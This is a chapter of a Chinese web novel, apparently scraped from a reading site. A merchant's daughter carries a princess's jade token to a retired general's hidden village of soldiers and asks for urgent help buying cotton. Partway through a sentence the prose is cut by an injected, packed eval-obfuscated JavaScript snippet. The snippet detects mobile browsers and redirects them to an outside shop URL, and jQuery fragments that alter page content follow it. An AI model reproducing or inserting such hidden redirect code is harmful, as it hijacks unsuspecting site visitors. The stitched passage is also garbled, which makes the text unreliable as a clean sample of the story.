“噌——”


    三把弯刀几乎在同一时刻出鞘，寒光凛冽，瞬间斩断了山谷中残存的宁静。方才还带着几分戏谑的三个汉子，眼神骤然变得如北地的冻土般冰冷坚硬。


    刀疤脸一步步走回，每一步都踏得极重，带着千钧的压迫感。他死死盯住苏玉淑，声音像是从牙缝里挤出来的：


    “小丫头，你刚才说……奉谁的命？”


    苏玉淑能感觉到自己的心跳狠狠撞击着肋骨，但她知道，此刻退缩便是万劫不复。她深吸一口冰冷的空气，将茵茹交给她的、那块象征着镇北王府最后尊严的玉佩从怀中取出，与信笺一同高高举起。


    玉佩在稀薄的日光下，流转着一抹温润却决绝的光泽。


    “我奉怀谦县主茵茹之命，携信物前来，求见韩十三韩将军！”


    她刻意用了旧日的军职称呼。


    “将军”二字，像一道惊雷劈在三个汉子心头。刀疤脸的身体几不可察地晃了一下，他死死盯着那枚玉佩，眼神复杂得像一团乱麻——


    有震惊，有追忆，有不敢置信，最终沉淀为一种近乎悲壮的肃穆。


    他猛地抬手，止住了身后两名同伴欲上前搜查的动作。他走到苏玉淑面前，距离近得能让她看清他脸上那道疤痕的每一处起伏。他没有去接信物，而是用一种沙哑、低沉，仿佛怕惊扰了什么似的声音问道：


    “县主她……还好吗？”


    这一问不是盘问，而是最沉痛的牵挂。


    苏玉淑心头一酸，重重地点了点头：“县主一切安好，但她需要你们的帮助。我此行能如此顺利，也是托了茵茹姐姐的福。”


    他缓缓收刀入鞘，郑重地接过信物。那粗糙如树皮的手指在触碰到冰凉玉佩的瞬间，竟有些微的颤抖。他仔细查验了玉佩内侧一道极细微的暗痕，又看了看火漆上的私印，良久，他才抬起头，目光如炬地看向苏玉淑：


    “跟我走，我带你去找将军。”


    北地的风像刀子一样刮过苏玉淑的脸颊，她裹紧了狐裘，亦步亦趋地跟在刀疤脸身后。方才还显得狰狞的隘口，此刻仿佛成了通往希望的唯一通道。脚下的石子硌得她生疼，大腿内侧的伤口又开始隐隐作痛，但她不敢放慢脚步，生怕这来之不易的转机稍纵即逝。


    刀疤脸走在最前面，步伐沉稳，腰间的弯刀随着动作发出轻微的碰撞声，在寂静的山谷中格外清晰。另外两个汉子则一左一右护在苏玉淑身侧，他们的目光警惕，步伐坚定而老练。


    苏玉淑的心稍稍安定了些，她攥紧了冰冷的手指，默默在心里祈祷着，只希望这次自己的运气还能一如既往地好。


    不知走上了多久，正在她想休息一下时，刀疤脸转过身，指了指前面：“就快到了，再坚持一下。”


    “你……你怎么知道我没力气了？”


    “能听出来。”


    苏玉淑诧异地反问：“听出来？”


    她左边的男人低声笑道：“你以为斥候的功夫是白练的？小丫头，要是在战场上连敌人的呼吸都分辨不出来，那等着你的唯有死路一条。”


    “哈哈哈哈，老张，你快别吓唬她了。”刀疤脸放声大笑，“哪有那么邪乎，不过是你的声音太粗重，这山谷里又安静罢了。小丫头，你别害怕，他逗你呢。”


    苏玉淑不敢接话，她只是默默地缩了缩脖子，老老实实地跟在后面——


    “你不用刻意憋气，我们听得出来。”


    右边的男人幽幽地说道。


    她这下是真的相信了以前话本子上的故事。


    儿时她总是听说书先生提到“靖北军”，相传他们骁勇善战，一日能奔袭千里，个个有着战神般的本事，立下战功赫赫，保卫着东梁无数百姓。


    那时她只当是说书人杜撰的传奇，如今亲身遇上，才知传言非虚。


    又转过一个弯，眼前的景象豁然开朗，一片隐蔽的山谷出现在眼前，几间简陋的木屋错落有致地分布在谷中，袅袅炊烟正从屋顶升起，带着一丝人间烟火的暖意。


    “小丫头，你且在这儿等一等，我去通报一声。”


    刀疤脸又将她上下打量一番，转身向村落里的众人喊道：“有客人！给这丫头拿点热水！”


    客人？！


    这两个字一下子点燃了大家的好奇心。原本在屋前劈柴的汉子停下了手中的斧头，正在溪边浣洗衣物的妇人也直起身，连几个在空地上追逐嬉闹的孩子都停下脚步，怯生生地躲到大人身后，探出小脑袋好奇地打量着苏玉淑。


    这山谷中的村落像是被外界遗忘的角落，平日里鲜少见到生面孔，更何况是苏玉淑这般穿着打扮的年轻女子。很快，一位头发花白、眼神却很清亮的老妪端着一碗热气腾腾的粗瓷碗走了过来，碗里是冒着热气的糙米粥，还飘着几粒翠绿的野菜。


    “姑娘，先喝口热乎的暖暖身子吧。”老妪的声音温和，带着北地人特有的质朴。苏玉淑顾不得许多，她实在是又冷又累，快要撑不住了。她接过碗，温热的触感传入掌心，她道过谢后便端起碗喝了起来，暖流顺着喉咙滑下，驱散了些许寒意与疲惫。


    “姐姐，你从哪儿来的呀？”


    一道怯生生的声音从人群后面响起，苏玉淑循声望去，是个扎着两个小揪揪的小姑娘。


    她尽力挤出一个和善的笑容：“我从京城来。”


    “京城是什么呀？”


    “京城是一个很大很大的地方呀。”


    小姑娘还想问更多，可一旁的妇女却紧紧拉住了她的手：“墩墩，别吵。姐姐很累了，我们先让她休息一会儿，等韩爷爷出来好不好？”


    “好！”


    这里的民风淳朴得超乎她的预料。没有她想象中的戒备森严，也没有传闻里北地的肃杀之气，反而处处透着一种历经劫难后的平静。孩子们很快就不怕生了，有几个胆大的还偷偷跑到她身边，用带着泥土的小手摸了摸她狐裘的毛边，又像受惊的小鹿般跑开，留下一串银铃似的笑声。


    方才浣衣的妇人也走了过来，递给她一块干净的粗布巾，让她擦擦脸上的灰尘。苏玉淑接过布巾，心中百感交集，她原以为会见到一群饱经战火、性情孤僻的残兵，却没想到是这样一幅充满生活气息的画面。


    只是在这片宁静之下，她依然能从那些汉子们偶尔闪过的锐利眼神中，察觉到他们骨子里未曾磨灭的、独属于士兵的凛冽之意。苏玉淑看向那刀疤脸伫立的房门，他一直在那里低声说着什么，表情甚是严肃。


    吱呀——


    那扇简陋的木门终于被推开，刀疤脸侧身站到一旁，一个身形挺拔的老者缓步走了出来。想来这位就是韩十三，韩将军。他穿着一身洗得发白的旧布袍，头发雪白却依旧浓密，脸上布满了深深的皱纹，看起来与寻常山野老人并无二致。


    唯有那双眼睛锐利如鹰，仿佛能洞穿人心。


    他望向苏玉淑所在的方向，快步走来，动作迅捷而有力。


    “你就是郑都头说的那个小丫头？”


    刀疤脸快速向她挥了挥手，又指了指自己。


    苏玉淑大大方方地迎上老人的目光，自我介绍道：“正是。我叫苏玉淑，家父是师城商人。我带了怀谦县主的信物和手写信，还望韩将军过目。”


    老人仔细打量了她一番，语气和这北地的风一样冷：“进来说话。”


    她跟在韩将军后面，路过刀疤脸的时候小声嘟囔道：“你怎么不早说你是郑都头，刚刚吓我一大跳。”


    “听到县主的事儿有点着急，我给忘了。”


    “走路的时候不许说话！是不是想吃军杖了！”


    两人被这惊雷一般的呵斥吓得一个激灵，苏玉淑又缩了缩脖子，直到将鼻子都埋进狐裘的毛毛里才肯呼吸。


    这砖瓦房从外面看去有些老旧，内里却十分整洁温暖。韩将军将长袍一甩，身形端正地坐在正中央的太师椅上。苏玉淑大着胆子看了看四周，与其说这里是民宅，不如说这里更像是军队的营帐——


    角落里堆着几捆用麻绳仔细捆扎的箭矢，墙壁上挂着一张泛黄的北地舆图，图上密密麻麻标注着红色的记号，想来是旧日行军布阵的痕迹。桌上的陶碗里插着几支狼毫笔，旁边堆叠着几本线装的兵书，书页边缘已被翻得起了毛边，却依旧干净平整。


    淡淡的墨香与松木燃烧后的烟火气萦绕在室内，混合成一种独特而肃穆的味道，让人不自觉地屏住呼吸，仿佛正置身于千军万马之中，连心跳都跟着放缓了几分。


    “把东西拿来给我看看。”


    苏玉淑赶忙取下玉佩和信，双手恭敬地递到老将军手上。谁知韩将军看也不看那信物，只是轻轻放置


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16832824|185365||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一边。他迫不及待地展开信，目光之中满是期待与渴求。


    半晌，他垂下了头，右手轻轻抚上两侧的太阳穴，将眼睛置于一片阴影之下。


    “果真是茵茹小姐的亲笔……”韩将军的语气多了一丝不易察觉的波动，他长叹一声，弯着腰将那封信靠近了桌上的火烛，身形看上去竟有几分佝偻。


    橘红色的火苗舔舐着信纸边缘，将那些久违重逢的字迹一点点吞噬。信纸蜷曲成灰烬，随风飘散在冰冷的空气中，仿佛连同那些沉重的过往也一同燃尽了。


    直到信纸化作最后一缕青烟，韩将军才缓缓抬起头。他重新坐直了身子，摆正了双手：“苏小姐，需要靖北军做什么？”


    苏玉淑深深一拜，言辞恳切：“请韩将军助我收购北境棉花，并派人护送回京！”


    “北地的棉花多数已经被大的商号收走，现下应该只剩一些边境村落尚有存余。另外……”


    郑都头抱拳上前：“将军，属下愿意走这一遭！”


    “此事有待商榷，容我再思量思量。”


    听着二人一唱一和，她有些不明就里：“韩将军……你们在说什么啊？”


    他摆摆手：“你一个小丫头，不要管这么多。你且告诉我，你何时需要？哪日启程？需要多少？”


    “有多少要多少，我这次带了银票，不够的还可以到云州的苏家商号提。至于时间……”苏玉淑有些不好意思，“我希望能在三日内运抵云州。”


    “三日？”郑都头不可置信地瞪大了眼睛，“你这丫头，你这简直是强人所难嘛！”


    “所以我才觉得很难说出口……”她低下头嘟囔道，“但是真的没办法，我一定要抢在他们前面把棉花运回去……”


    “知道了。”


    韩将军答应得爽快，这倒是让苏玉淑始料未及。


    “那我能做些什么……”


    “你什么都不用做，你在村子里待上三天便是，我会把你要的东西准时送到。”


    “可……”


    苏玉淑还想再说些什么，可韩将军当即大手一挥：“送客！郑都头，传我命令！让斥候、虞候和军使都来我的营帐！告诉他们，靖北军有硬仗要打！”


    “是！”


    郑都头不由分说地将她“请”出了屋外，天气渐渐转阴，忽而吹来的冷风杀了苏玉淑一个措手不及。她忍不住打了个哆嗦，可房门就这么在她面前紧紧合上——


    “郑都头，你们到底要干什么呀？”


    “小丫头，那个……苏小姐是吧，你跟我来，我先给你找个住处。”


    眼见他答非所问，苏玉淑更是心急如焚。她不明白为何韩将军答应得如此干脆，却又对具体事宜讳莫如深。她越想越觉得不对劲，脚步也下意识地慢了下来。


    “怎么不走了？”郑都头回头看她，眉头微蹙。


    苏玉淑咬了咬下唇，鼓起勇气问道：“郑都头，韩将军说的‘硬仗’……到底是什么意思？收购棉花而已，为何要用‘硬仗’来形容？”


    郑都头脸上的笑容淡了几分，他叉着腰，压低声音道：“苏小姐，不该问的别问。将军自有安排，你只需安心等着便是。我们靖北军的人，向来说一不二，既然答应了你三日之内将棉花送到云州，就绝不会食言。”


    “可……”苏玉淑还想追问，却被郑都头打断。


    “走吧，外面风大，先进屋再说。”郑都头语气不容置疑，转身领着她走向一间位于村落边缘的木屋。这木屋看起来与其他房屋并无二致，推门进去，里面却收拾得干净整洁，一张木板床，一张简陋的木桌，还有一把椅子，虽然陈设简单，却样样俱全。


    “你就先住在这里，有什么需要，就去村口找李婶，她会帮你的。”


    郑都头硬邦邦地撂下一句话，转身便走。苏玉淑只一个恍惚，人影就这么消失在屋外。她来不及去追，也没有更多的体力去追了。


    太累了。这一路太累了。


    那张床此刻对她的吸引力不亚于世间最珍贵的宝藏。她几乎是踉跄着扑到床边，连厚重的狐裘都来不及脱下，便一头栽倒在粗糙却还算柔软的被褥上。疲惫如同潮水般瞬间将她淹没，眼皮沉重得像是灌了铅。


    不过片刻，紧绷了一路的神经终于彻底松弛下来，她的意识渐渐模糊，沉沉睡去。